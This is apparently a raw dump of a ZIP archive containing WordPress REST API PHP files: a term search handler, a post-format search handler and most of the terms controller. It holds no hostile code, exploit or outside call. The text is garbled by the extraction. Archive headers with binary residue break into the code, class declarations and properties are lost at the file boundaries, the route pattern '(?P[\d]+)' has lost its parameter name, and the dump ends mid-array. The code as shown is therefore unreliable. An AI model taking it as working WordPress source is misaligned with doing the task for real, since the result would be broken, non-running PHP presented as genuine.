$per_page = (int) $request['per_page'];
$query_args = array(
'taxonomy' => $taxonomies,
'hide_empty' => false,
'offset' => ( $page - 1 ) * $per_page,
'number' => $per_page,
);
if ( ! empty( $request['search'] ) ) {
$query_args['search'] = $request['search'];
}
if ( ! empty( $request['exclude'] ) ) {
$query_args['exclude'] = $request['exclude'];
}
if ( ! empty( $request['include'] ) ) {
$query_args['include'] = $request['include'];
}
/**
* Filters the query arguments for a REST API term search request.
*
* Enables adding extra arguments or setting defaults for a term search request.
*
* @since 5.6.0
*
* @param array $query_args Key value array of query var to query value.
* @param WP_REST_Request $request The request used.
*/
$query_args = apply_filters( 'rest_term_search_query', $query_args, $request );
$query = new WP_Term_Query();
$found_terms = $query->query( $query_args );
$found_ids = wp_list_pluck( $found_terms, 'term_id' );
unset( $query_args['offset'], $query_args['number'] );
$total = wp_count_terms( $query_args );
// wp_count_terms() can return a falsey value when the term has no children.
if ( ! $total ) {
$total = 0;
}
return array(
self::RESULT_IDS => $found_ids,
self::RESULT_TOTAL => $total,
);
}
/**
* Prepares the search result for a given term ID.
*
* @since 5.6.0
*
* @param int $id Term ID.
* @param array $fields Fields to include for the term.
* @return array {
* Associative array containing fields for the term based on the `$fields` parameter.
*
* @type int $id Optional. Term ID.
* @type string $title Optional. Term name.
* @type string $url Optional. Term permalink URL.
* @type string $type Optional. Term taxonomy name.
* }
*/
public function prepare_item( $id, array $fields ) {
$term = get_term( $id );
$data = array();
if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_ID ] = (int) $id;
}
if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_TITLE ] = $term->name;
}
if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_URL ] = get_term_link( $id );
}
if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_TYPE ] = $term->taxonomy;
}
return $data;
}
/**
* Prepares links for the search result of a given ID.
*
* @since 5.6.0
*
* @param int $id Item ID.
* @return array[] Array of link arrays for the given item.
*/
public function prepare_item_links( $id ) {
$term = get_term( $id );
$links = array();
$item_route = rest_get_route_for_term( $term );
if ( $item_route ) {
$links['self'] = array(
'href' => rest_url( $item_route ),
'embeddable' => true,
);
}
$links['about'] = array(
'href' => rest_url( sprintf( 'wp/v2/taxonomies/%s', $term->taxonomy ) ),
);
return $links;
}
}
PK @:\zjG[ [ 3 search/class-wp-rest-post-format-search-handler.phpnu [ type = 'post-format';
}
/**
* Searches the post formats for a given search request.
*
* @since 5.6.0
*
* @param WP_REST_Request $request Full REST request.
* @return array {
* Associative array containing found IDs and total count for the matching search results.
*
* @type string[] $ids Array containing slugs for the matching post formats.
* @type int $total Total count for the matching search results.
* }
*/
public function search_items( WP_REST_Request $request ) {
$format_strings = get_post_format_strings();
$format_slugs = array_keys( $format_strings );
$query_args = array();
if ( ! empty( $request['search'] ) ) {
$query_args['search'] = $request['search'];
}
/**
* Filters the query arguments for a REST API post format search request.
*
* Enables adding extra arguments or setting defaults for a post format search request.
*
* @since 5.6.0
*
* @param array $query_args Key value array of query var to query value.
* @param WP_REST_Request $request The request used.
*/
$query_args = apply_filters( 'rest_post_format_search_query', $query_args, $request );
$found_ids = array();
foreach ( $format_slugs as $format_slug ) {
if ( ! empty( $query_args['search'] ) ) {
$format_string = get_post_format_string( $format_slug );
$format_slug_match = stripos( $format_slug, $query_args['search'] ) !== false;
$format_string_match = stripos( $format_string, $query_args['search'] ) !== false;
if ( ! $format_slug_match && ! $format_string_match ) {
continue;
}
}
$format_link = get_post_format_link( $format_slug );
if ( $format_link ) {
$found_ids[] = $format_slug;
}
}
$page = (int) $request['page'];
$per_page = (int) $request['per_page'];
return array(
self::RESULT_IDS => array_slice( $found_ids, ( $page - 1 ) * $per_page, $per_page ),
self::RESULT_TOTAL => count( $found_ids ),
);
}
/**
* Prepares the search result for a given post format.
*
* @since 5.6.0
*
* @param string $id Item ID, the post format slug.
* @param array $fields Fields to include for the item.
* @return array {
* Associative array containing fields for the post format based on the `$fields` parameter.
*
* @type string $id Optional. Post format slug.
* @type string $title Optional. Post format name.
* @type string $url Optional. Post format permalink URL.
* @type string $type Optional. String 'post-format'.
* }
*/
public function prepare_item( $id, array $fields ) {
$data = array();
if ( in_array( WP_REST_Search_Controller::PROP_ID, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_ID ] = $id;
}
if ( in_array( WP_REST_Search_Controller::PROP_TITLE, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_TITLE ] = get_post_format_string( $id );
}
if ( in_array( WP_REST_Search_Controller::PROP_URL, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_URL ] = get_post_format_link( $id );
}
if ( in_array( WP_REST_Search_Controller::PROP_TYPE, $fields, true ) ) {
$data[ WP_REST_Search_Controller::PROP_TYPE ] = $this->type;
}
return $data;
}
/**
* Prepares links for the search result.
*
* @since 5.6.0
*
* @param string $id Item ID, the post format slug.
* @return array Links for the given item.
*/
public function prepare_item_links( $id ) {
return array();
}
}
PK @:\^u u , endpoints/class-wp-rest-terms-controller.phpnu [ true );
/**
* Constructor.
*
* @since 4.7.0
*
* @param string $taxonomy Taxonomy key.
*/
public function __construct( $taxonomy ) {
$this->taxonomy = $taxonomy;
$tax_obj = get_taxonomy( $taxonomy );
$this->rest_base = ! empty( $tax_obj->rest_base ) ? $tax_obj->rest_base : $tax_obj->name;
$this->namespace = ! empty( $tax_obj->rest_namespace ) ? $tax_obj->rest_namespace : 'wp/v2';
$this->meta = new WP_REST_Term_Meta_Fields( $taxonomy );
}
/**
* Registers the routes for terms.
*
* @since 4.7.0
*
* @see register_rest_route()
*/
public function register_routes() {
register_rest_route(
$this->namespace,
'/' . $this->rest_base,
array(
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_items' ),
'permission_callback' => array( $this, 'get_items_permissions_check' ),
'args' => $this->get_collection_params(),
),
array(
'methods' => WP_REST_Server::CREATABLE,
'callback' => array( $this, 'create_item' ),
'permission_callback' => array( $this, 'create_item_permissions_check' ),
'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
),
'allow_batch' => $this->allow_batch,
'schema' => array( $this, 'get_public_item_schema' ),
)
);
register_rest_route(
$this->namespace,
'/' . $this->rest_base . '/(?P[\d]+)',
array(
'args' => array(
'id' => array(
'description' => __( 'Unique identifier for the term.' ),
'type' => 'integer',
),
),
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_item' ),
'permission_callback' => array( $this, 'get_item_permissions_check' ),
'args' => array(
'context' => $this->get_context_param( array( 'default' => 'view' ) ),
),
),
array(
'methods' => WP_REST_Server::EDITABLE,
'callback' => array( $this, 'update_item' ),
'permission_callback' => array( $this, 'update_item_permissions_check' ),
'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
),
array(
'methods' => WP_REST_Server::DELETABLE,
'callback' => array( $this, 'delete_item' ),
'permission_callback' => array( $this, 'delete_item_permissions_check' ),
'args' => array(
'force' => array(
'type' => 'boolean',
'default' => false,
'description' => __( 'Required to be true, as terms do not support trashing.' ),
),
),
),
'allow_batch' => $this->allow_batch,
'schema' => array( $this, 'get_public_item_schema' ),
)
);
}
/**
* Checks if the terms for a post can be read.
*
* @since 6.0.3
*
* @param WP_Post $post Post object.
* @param WP_REST_Request $request Full details about the request.
* @return bool Whether the terms for the post can be read.
*/
public function check_read_terms_permission_for_post( $post, $request ) {
// If the requested post isn't associated with this taxonomy, deny access.
if ( ! is_object_in_taxonomy( $post->post_type, $this->taxonomy ) ) {
return false;
}
// Grant access if the post is publicly viewable.
if ( is_post_publicly_viewable( $post ) ) {
return true;
}
// Otherwise grant access if the post is readable by the logged-in user.
if ( current_user_can( 'read_post', $post->ID ) ) {
return true;
}
// Otherwise, deny access.
return false;
}
/**
* Checks if a request has access to read terms in the specified taxonomy.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return bool|WP_Error True if the request has read access, otherwise false or WP_Error object.
*/
public function get_items_permissions_check( $request ) {
$tax_obj = get_taxonomy( $this->taxonomy );
if ( ! $tax_obj || ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) {
return false;
}
if ( 'edit' === $request['context'] && ! current_user_can( $tax_obj->cap->edit_terms ) ) {
return new WP_Error(
'rest_forbidden_context',
__( 'Sorry, you are not allowed to edit terms in this taxonomy.' ),
array( 'status' => rest_authorization_required_code() )
);
}
if ( ! empty( $request['post'] ) ) {
$post = get_post( $request['post'] );
if ( ! $post ) {
return new WP_Error(
'rest_post_invalid_id',
__( 'Invalid post ID.' ),
array(
'status' => 400,
)
);
}
if ( ! $this->check_read_terms_permission_for_post( $post, $request ) ) {
return new WP_Error(
'rest_forbidden_context',
__( 'Sorry, you are not allowed to view terms for this post.' ),
array(
'status' => rest_authorization_required_code(),
)
);
}
}
return true;
}
/**
* Retrieves terms associated with a taxonomy.
*
* @since 4.7.0
* @since 6.8.0 Respect default query arguments set for the taxonomy upon registration.
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_items( $request ) {
// Retrieve the list of registered collection query parameters.
$registered = $this->get_collection_params();
/*
* This array defines mappings between public API query parameters whose
* values are accepted as-passed, and their internal WP_Query parameter
* name equivalents (some are the same). Only values which are also
* present in $registered will be set.
*/
$parameter_mappings = array(
'exclude' => 'exclude',
'include' => 'include',
'order' => 'order',
'orderby' => 'orderby',
'post' => 'post',
'hide_empty' => 'hide_empty',
'per_page' => 'number',
'search' => 'search',
'slug' => 'slug',
);
$prepared_args = array( 'taxonomy' => $this->taxonomy );
/*
* For each known parameter which is both registered and present in the request,
* set the parameter's value on the query $prepared_args.
*/
foreach ( $parameter_mappings as $api_param => $wp_param ) {
if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
$prepared_args[ $wp_param ] = $request[ $api_param ];
}
}
if ( isset( $prepared_args['orderby'] ) && isset( $request['orderby'] ) ) {
$orderby_mappings = array(
'include_slugs' => 'slug__in',
);
if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) {
$prepared_args['orderby'] = $orderby_mappings[ $request['orderby'] ];
}
}
if ( isset( $registered['offset'] ) && ! empty( $request['offset'] ) ) {
$prepared_args['offset'] = $request['offset'];
} else {
$prepared_args['offset'] = ( $request['page'] - 1 ) * $prepared_args['number'];
}
$taxonomy_obj = get_taxonomy( $this->taxonomy );
if ( $taxonomy_obj->hierarchical && isset( $registered['parent'], $request['parent'] ) ) {
if ( 0 === $request['parent'] ) {
// Only query top-level terms.
$prepared_args['parent'] = 0;
} else {
if ( $request['parent'] ) {
$prepared_args['parent'] = $request['parent'];
}
}
}
/*
* When a taxonomy is registered with an 'args' array,
* those params override the `$args` passed to this function.
*
* We only need to do this if no `post` argument is provided.
* Otherwise, terms will be fetched using `wp_get_object_terms()`,
* which respects the default query arguments set for the taxonomy.
*/
if (
empty( $prepared_args['post'] ) &&
isset( $taxonomy_obj->args ) &&
is_array( $taxonomy_obj->args )
) {
$prepared_args = array_merge( $prepared_args, $taxonomy_obj->args );
}
$is_head_request = $request->is_method( 'HEAD' );
if ( $is_head_request ) {
// Force the 'fields' argument. For HEAD requests, only term IDs are required.
$prepared_args['fields'] = 'ids';
// Disable priming term meta for HEAD requests to improve performance.
$prepared_args['update_term_meta_cache'] = false;
}
/**
* Filters get_terms() arguments when querying terms via the REST API.
*
* The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
*
* Possible hook names include:
*
* - `rest_category_query`
* - `rest_post_tag_query`
*
* Enables adding extra arguments or setting defaults for a terms
* collection request.
*
* @since 4.7.0
*
* @link https://developer.wordpress.org/reference/functions/get_terms/
*
* @param array $prepared_args Array of arguments for get_terms().
* @param WP_REST_Request $request The REST API request.
*/
$prepared_args = apply_filters( "rest_{$this->taxonomy}_query", $prepared_args, $request );
if ( ! empty( $prepared_args['post'] ) ) {
$query_result = wp_get_object_terms( $prepared_args['post'], $this->taxonomy, $prepared_args );
// Used when calling wp_count_terms() below.
$prepared_args['object_ids'] = $prepared_args['post'];
} else {
$query_result = get_terms( $prepared_args );
}
$count_args = $prepared_args;
unset( $count_args['number'], $count_args['offset'] );
$total_terms = wp_count_terms( $count_args );
// wp_count_terms() can return a falsey value when the term has no children.
if ( ! $total_terms ) {
$total_terms = 0;
}
if ( ! $is_head_request ) {
$response = array();
foreach ( $query_result as $term ) {
if ( 'edit' === $request['context'] && ! current_user_can( 'edit_term', $term->term_id ) ) {
continue;
}
$data = $this->prepare_item_for_response( $term, $request );
$response[] = $this->prepare_response_for_collection( $data );
}
}
$response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $response );
// Store pagination values for headers.
$per_page = (int) $prepared_args['number'];
$page = (int) ceil( ( ( (int) $prepared_args['offset'] ) / $per_page ) + 1 );
$response->header( 'X-WP-Total', (int) $total_terms );
$max_pages = (int) ceil( $total_terms / $per_page );
$response->header( 'X-WP-TotalPages', $max_pages );
$request_params = $request->get_query_params();
$collection_url = rest_url( rest_get_route_for_taxonomy_items( $this->taxonomy ) );
$base = add_query_arg( urlencode_deep( $request_params ), $collection_url );
if ( $page > 1 ) {
$prev_page = $page - 1;
if ( $prev_page > $max_pages ) {
$prev_page = $max_pages;
}
$prev_link = add_query_arg( 'page', $prev_page, $base );
$response->link_header( 'prev', $prev_link );
}
if ( $max_pages > $page ) {
$next_page = $page + 1;
$next_link = add_query_arg( 'page', $next_page, $base );
$response->link_header( 'next', $next_link );
}
return $response;
}
/**
* Get the term, if the ID is valid.
*
* @since 4.7.2
*
* @param int $id Supplied ID.
* @return WP_Term|WP_Error Term object if ID is valid, WP_Error otherwise.
*/
protected function get_term( $id ) {
$error = new WP_Error(
'rest_term_invalid',
__( 'Term does not exist.' ),
array( 'status' => 404 )
);
if ( ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) {
return $error;
}
if ( (int) $id <= 0 ) {
return $error;
}
$term = get_term( (int) $id, $this->taxonomy );
if ( empty( $term ) || $term->taxonomy !== $this->taxonomy ) {
return $error;
}
return $term;
}
/**
* Checks if a request has access to read or edit the specified term.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object.
*/
public function get_item_permissions_check( $request ) {
$term = $this->get_term( $request['id'] );
if ( is_wp_error( $term ) ) {
return $term;
}
if ( 'edit' === $request['context'] && ! current_user_can( 'edit_term', $term->term_id ) ) {
return new WP_Error(
'rest_forbidden_context',
__( 'Sorry, you are not allowed to edit this term.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Gets a single term from a taxonomy.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function get_item( $request ) {
$term = $this->get_term( $request['id'] );
if ( is_wp_error( $term ) ) {
return $term;
}
$response = $this->prepare_item_for_response( $term, $request );
return rest_ensure_response( $response );
}
/**
* Checks if a request has access to create a term.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return bool|WP_Error True if the request has access to create items, otherwise false or WP_Error object.
*/
public function create_item_permissions_check( $request ) {
if ( ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) {
return false;
}
$taxonomy_obj = get_taxonomy( $this->taxonomy );
if ( ( is_taxonomy_hierarchical( $this->taxonomy )
&& ! current_user_can( $taxonomy_obj->cap->edit_terms ) )
|| ( ! is_taxonomy_hierarchical( $this->taxonomy )
&& ! current_user_can( $taxonomy_obj->cap->assign_terms ) ) ) {
return new WP_Error(
'rest_cannot_create',
__( 'Sorry, you are not allowed to create terms in this taxonomy.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Creates a single term in a taxonomy.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function create_item( $request ) {
if ( isset( $request['parent'] ) ) {
if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) {
return new WP_Error(
'rest_taxonomy_not_hierarchical',
__( 'Cannot set parent term, taxonomy is not hierarchical.' ),
array( 'status' => 400 )
);
}
$parent = get_term( (int) $request['parent'], $this->taxonomy );
if ( ! $parent ) {
return new WP_Error(
'rest_term_invalid',
__( 'Parent term does not exist.' ),
array( 'status' => 400 )
);
}
}
$prepared_term = $this->prepare_item_for_database( $request );
$term = wp_insert_term( wp_slash( $prepared_term->name ), $this->taxonomy, wp_slash( (array) $prepared_term ) );
if ( is_wp_error( $term ) ) {
/*
* If we're going to inform the client that the term already exists,
* give them the identifier for future use.
*/
$term_id = $term->get_error_data( 'term_exists' );
if ( $term_id ) {
$existing_term = get_term( $term_id, $this->taxonomy );
$term->add_data( $existing_term->term_id, 'term_exists' );
$term->add_data(
array(
'status' => 400,
'term_id' => $term_id,
)
);
}
return $term;
}
$term = get_term( $term['term_id'], $this->taxonomy );
/**
* Fires after a single term is created or updated via the REST API.
*
* The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
*
* Possible hook names include:
*
* - `rest_insert_category`
* - `rest_insert_post_tag`
*
* @since 4.7.0
*
* @param WP_Term $term Inserted or updated term object.
* @param WP_REST_Request $request Request object.
* @param bool $creating True when creating a term, false when updating.
*/
do_action( "rest_insert_{$this->taxonomy}", $term, $request, true );
$schema = $this->get_item_schema();
if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
$meta_update = $this->meta->update_value( $request['meta'], $term->term_id );
if ( is_wp_error( $meta_update ) ) {
return $meta_update;
}
}
$fields_update = $this->update_additional_fields_for_object( $term, $request );
if ( is_wp_error( $fields_update ) ) {
return $fields_update;
}
$request->set_param( 'context', 'edit' );
/**
* Fires after a single term is completely created or updated via the REST API.
*
* The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
*
* Possible hook names include:
*
* - `rest_after_insert_category`
* - `rest_after_insert_post_tag`
*
* @since 5.0.0
*
* @param WP_Term $term Inserted or updated term object.
* @param WP_REST_Request $request Request object.
* @param bool $creating True when creating a term, false when updating.
*/
do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, true );
$response = $this->prepare_item_for_response( $term, $request );
$response = rest_ensure_response( $response );
$response->set_status( 201 );
$response->header( 'Location', rest_url( $this->namespace . '/' . $this->rest_base . '/' . $term->term_id ) );
return $response;
}
/**
* Checks if a request has access to update the specified term.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has access to update the item, false or WP_Error object otherwise.
*/
public function update_item_permissions_check( $request ) {
$term = $this->get_term( $request['id'] );
if ( is_wp_error( $term ) ) {
return $term;
}
if ( ! current_user_can( 'edit_term', $term->term_id ) ) {
return new WP_Error(
'rest_cannot_update',
__( 'Sorry, you are not allowed to edit this term.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Updates a single term from a taxonomy.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function update_item( $request ) {
$term = $this->get_term( $request['id'] );
if ( is_wp_error( $term ) ) {
return $term;
}
if ( isset( $request['parent'] ) ) {
if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) {
return new WP_Error(
'rest_taxonomy_not_hierarchical',
__( 'Cannot set parent term, taxonomy is not hierarchical.' ),
array( 'status' => 400 )
);
}
$parent = get_term( (int) $request['parent'], $this->taxonomy );
if ( ! $parent ) {
return new WP_Error(
'rest_term_invalid',
__( 'Parent term does not exist.' ),
array( 'status' => 400 )
);
}
}
$prepared_term = $this->prepare_item_for_database( $request );
// Only update the term if we have something to update.
if ( ! empty( $prepared_term ) ) {
$update = wp_update_term( $term->term_id, $term->taxonomy, wp_slash( (array) $prepared_term ) );
if ( is_wp_error( $update ) ) {
return $update;
}
}
$term = get_term( $term->term_id, $this->taxonomy );
/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
do_action( "rest_insert_{$this->taxonomy}", $term, $request, false );
$schema = $this->get_item_schema();
if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
$meta_update = $this->meta->update_value( $request['meta'], $term->term_id );
if ( is_wp_error( $meta_update ) ) {
return $meta_update;
}
}
$fields_update = $this->update_additional_fields_for_object( $term, $request );
if ( is_wp_error( $fields_update ) ) {
return $fields_update;
}
$request->set_param( 'context', 'edit' );
/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
do_action( "rest_after_insert_{$this->taxonomy}", $term, $request, false );
$response = $this->prepare_item_for_response( $term, $request );
return rest_ensure_response( $response );
}
/**
* Checks if a request has access to delete the specified term.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has access to delete the item, otherwise false or WP_Error object.
*/
public function delete_item_permissions_check( $request ) {
$term = $this->get_term( $request['id'] );
if ( is_wp_error( $term ) ) {
return $term;
}
if ( ! current_user_can( 'delete_term', $term->term_id ) ) {
return new WP_Error(
'rest_cannot_delete',
__( 'Sorry, you are not allowed to delete this term.' ),
array( 'status' => rest_authorization_required_code() )
);
}
return true;
}
/**
* Deletes a single term from a taxonomy.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
*/
public function delete_item( $request ) {
$term = $this->get_term( $request['id'] );
if ( is_wp_error( $term ) ) {
return $term;
}
$force = isset( $request['force'] ) ? (bool) $request['force'] : false;
// We don't support trashing for terms.
if ( ! $force ) {
return new WP_Error(
'rest_trash_not_supported',
/* translators: %s: force=true */
sprintf( __( "Terms do not support trashing. Set '%s' to delete." ), 'force=true' ),
array( 'status' => 501 )
);
}
$request->set_param( 'context', 'view' );
$previous = $this->prepare_item_for_response( $term, $request );
$retval = wp_delete_term( $term->term_id, $term->taxonomy );
if ( ! $retval ) {
return new WP_Error(
'rest_cannot_delete',
__( 'The term cannot be deleted.' ),
array( 'status' => 500 )
);
}
$response = new WP_REST_Response();
$response->set_data(
array(
'deleted' => true,
'previous' => $previous->get_data(),
)
);
/**
* Fires after a single term is deleted via the REST API.
*
* The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
*
* Possible hook names include:
*
* - `rest_delete_category`
* - `rest_delete_post_tag`
*
* @since 4.7.0
*
* @param WP_Term $term The deleted term.
* @param WP_REST_Response $response The response data.
* @param WP_REST_Request $request The request sent to the API.
*/
do_action( "rest_delete_{$this->taxonomy}", $term, $response, $request );
return $response;
}
/**
* Prepares a single term for create or update.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Request object.
* @return object Term object.
*/
public function prepare_item_for_database( $request ) {
$prepared_term = new stdClass();
$schema = $this->get_item_schema();
if ( isset( $request['name'] ) && ! empty( $schema['properties']['name'] ) ) {
$prepared_term->name = $request['name'];
}
if ( isset( $request['slug'] ) && ! empty( $schema['properties']['slug'] ) ) {
$prepared_term->slug = $request['slug'];
}
if ( isset( $request['taxonomy'] ) && ! empty( $schema['properties']['taxonomy'] ) ) {
$prepared_term->taxonomy = $request['taxonomy'];
}
if ( isset( $request['description'] ) && ! empty( $schema['properties']['description'] ) ) {
$prepared_term->description = $request['description'];
}
if ( isset( $request['parent'] ) && ! empty( $schema['properties']['parent'] ) ) {
$parent_term_id = 0;
$requested_parent = (int) $request['parent'];
if ( $requested_parent ) {
$parent_term = get_term( $requested_parent, $this->taxonomy );
if ( $parent_term instanceof WP_Term ) {
$parent_term_id = $parent_term->term_id;
}
}
$prepared_term->parent = $parent_term_id;
}
/**
* Filters term data before inserting term via the REST API.
*
* The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
*
* Possible hook names include:
*
* - `rest_pre_insert_category`
* - `rest_pre_insert_post_tag`
*
* @since 4.7.0
*
* @param object $prepared_term Term object.
* @param WP_REST_Request $request Request object.
*/
return apply_filters( "rest_pre_insert_{$this->taxonomy}", $prepared_term, $request );
}
/**
* Prepares a single term output for response.
*
* @since 4.7.0
*
* @param WP_Term $item Term object.
* @param WP_REST_Request $request Request object.
* @return WP_REST_Response Response object.
*/
public function prepare_item_for_response( $item, $request ) {
// Don't prepare the response body for HEAD requests.
if ( $request->is_method( 'HEAD' ) ) {
/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php */
return apply_filters( "rest_prepare_{$this->taxonomy}", new WP_REST_Response( array() ), $item, $request );
}
$fields = $this->get_fields_for_response( $request );
$data = array();
if ( in_array( 'id', $fields, true ) ) {
$data['id'] = (int) $item->term_id;
}
if ( in_array( 'count', $fields, true ) ) {
$data['count'] = (int) $item->count;
}
if ( in_array( 'description', $fields, true ) ) {
$data['description'] = $item->description;
}
if ( in_array( 'link', $fields, true ) ) {
$data['link'] = get_term_link( $item );
}
if ( in_array( 'name', $fields, true ) ) {
$data['name'] = $item->name;
}
if ( in_array( 'slug', $fields, true ) ) {
$data['slug'] = $item->slug;
}
if ( in_array( 'taxonomy', $fields, true ) ) {
$data['taxonomy'] = $item->taxonomy;
}
if ( in_array( 'parent', $fields, true ) ) {
$data['parent'] = (int) $item->parent;
}
if ( in_array( 'meta', $fields, true ) ) {
$data['meta'] = $this->meta->get_value( $item->term_id, $request );
}
$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
$data = $this->add_additional_fields_to_object( $data, $request );
$data = $this->filter_response_by_context( $data, $context );
$response = rest_ensure_response( $data );
if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
$response->add_links( $this->prepare_links( $item ) );
}
/**
* Filters the term data for a REST API response.
*
* The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug.
*
* Possible hook names include:
*
* - `rest_prepare_category`
* - `rest_prepare_post_tag`
*
* Allows modification of the term data right before it is returned.
*
* @since 4.7.0
*
* @param WP_REST_Response $response The response object.
* @param WP_Term $item The original term object.
* @param WP_REST_Request $request Request used to generate the response.
*/
return apply_filters( "rest_prepare_{$this->taxonomy}", $response, $item, $request );
}
/**
* Prepares links for the request.
*
* @since 4.7.0
*
* @param WP_Term $term Term object.
* @return array Links for the given term.
*/
protected function prepare_links( $term ) {
$links = array(
'self' => array(
'href' => rest_url( rest_get_route_for_term( $term ) ),
),
'collection' => array(
'href' => rest_url( rest_get_route_for_taxonomy_items( $this->taxonomy ) ),
),
'about' => array(
'href' => rest_url( sprintf( 'wp/v2/taxonomies/%s', $this->taxonomy ) ),
),
);
if ( $term->parent ) {
$parent_term = get_term( (int) $term->parent, $term->taxonomy );
if ( $parent_term ) {
$links['up'] = array(
'href' => rest_url( rest_get_route_for_term( $parent_term ) ),
'embeddable' => true,
);
}
}
$taxonomy_obj = get_taxonomy( $term->taxonomy );
if ( empty( $taxonomy_obj->object_type ) ) {
return $links;
}
$post_type_links = array();
foreach ( $taxonomy_obj->object_type as $type ) {
$rest_path = rest_get_route_for_post_type_items( $type );
if ( empty( $rest_path ) ) {
continue;
}
$post_type_links[] = array(
'href' => add_query_arg( $this->rest_base, $term->term_id, rest_url( $rest_path ) ),
);
}
if ( ! empty( $post_type_links ) ) {
$links['https://api.w.org/post_type'] = $post_type_links;
}
return $links;
}
/**
* Retrieves the term's schema, conforming to JSON Schema.
*
* @since 4.7.0
*
* @return array Item schema data.
*/
public function get_item_schema() {
if ( $this->schema ) {
return $this->add_additional_fields_schema( $this->schema );
}
$schema = array(
'$schema' => 'http://json-schema.org/draft-04/schema#',
'title' => 'post_tag' === $this->taxonomy ? 'tag' : $this->taxonomy,
'type' => 'object',
'properties' => array(
'id' => array(
'description' => __( 'Unique identifier for the term.' ),
'type' => 'integer',
'context' => array( 'view', 'embed', 'edit' ),
'readonly' => true,
),
'count' => array(
'description' => __( 'Number of published posts for the term.' ),
'type' => 'integer',
'context' => array( 'view', 'edit' ),
'readonly' => true,
),
'description' => array(
'description' => __( 'HTML description of the term.' ),
'type' => 'string',
'context' => array( 'view', 'edit' ),
),
'link' => array(
'description' => __( 'URL of the term.' ),
'type' => 'string',
'format' => 'uri',
'context' => array( 'view', 'embed', 'edit' ),
'readonly' => true,
),
'name' => array(
'description' => __( 'HTML title for the term.' ),
'type' => 'string',
'context' => array( 'view', 'embed', 'edit' ),
'arg_options' => array(
'sanitize_callback' => 'sanitize_text_field',
),
'required' => true,
),
'slug' => array(
'description' => __( 'An alphanumeric identifier for the term unique to its type.' ),
'type' => 'string',
'context' => array( 'view', 'embed', 'edit' ),
'arg_options' => array(
'sanitize_callback' => array( $this, 'sanitize_slug' ),
),
),
'taxonomy' => array(
'description' => __( 'Type attribution for the term.' ),
'type' => 'string',
'enum' => array( $this->taxonomy ),
'context' => array( 'view', 'embed', 'edit' ),
'readonly' => true,
),
),
);
$taxonomy = get_taxonomy( $this->taxonomy );
if ( $taxonomy->hierarchical ) {
$schema['properties']['parent'] = array(
'description' => __( 'The parent term ID.' ),
'type' => 'integer',
'context' => array( 'view', 'edit' ),
);
}
$schema['properties']['meta'] = $this->meta->get_field_schema();
$this->schema = $schema;
return $this->add_additional_fields_schema( $this->schema );
}
/**
* Retrieves the query params for collections.
*
* @since 4.7.0
*
* @return array Collection parameters.
*/
public function get_collection_params() {
$query_params = parent::get_collection_params();
$taxonomy = get_taxonomy( $this->taxonomy );
$query_params['context']['default'] = 'view';
$query_params['exclude'] = array(
'description' => __( 'Ensure result set excludes specific IDs.' ),
'type' => 'array',
